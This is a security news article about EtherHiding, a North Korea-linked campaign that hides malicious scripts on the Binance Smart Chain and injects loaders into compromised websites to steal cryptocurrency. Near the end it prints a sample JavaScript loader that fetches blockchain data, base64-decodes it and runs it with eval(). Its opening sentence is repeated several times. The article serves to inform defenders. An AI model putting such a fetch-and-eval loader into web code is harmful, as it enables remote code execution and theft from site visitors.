North Korean Hackers Using EtherHiding to Deliver Malware and Steal Cryptocurrency
In recent months, a malware campaign known as EtherHiding has been identified, originating from threat actors aligned with North Korea. This campaign significantly increases cybersecurity risks for cryptocurrency exchanges and their users globally.
In recent months, a malware campaign known as EtherHiding has been identified, originating from threat actors aligned with North Korea. This campaign significantly increases cybersecurity risks for cryptocurrency exchanges and their users globally.
EtherHiding emerged amidst increased regulatory actions against illicit crypto transactions. It exploits new vulnerabilities in the digital supply chain.
Initially seen in targeted phishing campaigns, EtherHiding has evolved into a multi-stage threat. It uses decentralized blockchain technologies to distribute and update malicious payloads stealthily.
A key tactic of EtherHiding involves exploiting the Binance Smart Chain (BSC) to host intermediary scripts. This approach bypasses traditional security controls, allowing the campaign to continue even if domains or hosting providers are deactivated.
Attackers compromise legitimate or semi-legitimate websites to inject code that accesses blockchain-stored content, fetching the latest stage of malware.
This modular approach grants operators significant agility, enabling on-the-fly updates to malicious scripts and reducing the effectiveness of traditional blocklists or takedown requests.
Google Cloud researchers identified and documented EtherHiding's operation, highlighting its innovative use of cryptographic anonymity provided by blockchain networks. This makes forensic tracking and operational disruption challenging for defenders.
In recent months, a malware campaign known as EtherHiding has been identified, originating from threat actors aligned with North Korea.
EtherHiding's impact includes the theft of digital assets and establishing persistent access to infected systems for further espionage or ransomware activities.
The campaign has expanded to target browser extensions, hot wallets, and popular DeFi platforms, increasing the range of potential victims.
The campaign's ability to iterate and redeploy new infection chains has challenged enterprise defenders, with many legacy endpoint security solutions struggling to keep up with the dynamic delivery infrastructure used by North Korean operators.
Cryptocurrency platforms face increased pressure to audit their web and cloud assets, as even a minor misconfiguration can allow EtherHiding's injection and exploitation.
Infection Mechanism and JavaScript Payloads
The infection chain typically begins with JavaScript injected into vulnerable web properties. This script silently loads additional code from the Binance Smart Chain using unique transaction identifiers.
The payload mechanism relies on obfuscation and multi-layer encoding, complicating static detection.
For instance, base64-encoded loader scripts are fetched and executed within the browser context, sometimes using iframes or manipulated event handlers to deliver the next stage payload.
fetch('https://bsc-dataseed.binance.org/') .then(response => response.json()) .then(data => { let scriptContent = atob(data.result); eval(scriptContent); });
These tactics obscure the origin of the malicious payload and enable rapid code updates.
As detection mechanisms adapt, EtherHiding operators push new payloads to the blockchain, decoupling the infection infrastructure from easy takedown and providing a resilient attack platform for ongoing theft and intrusion operations.
Based on reporting by Cyber Security News.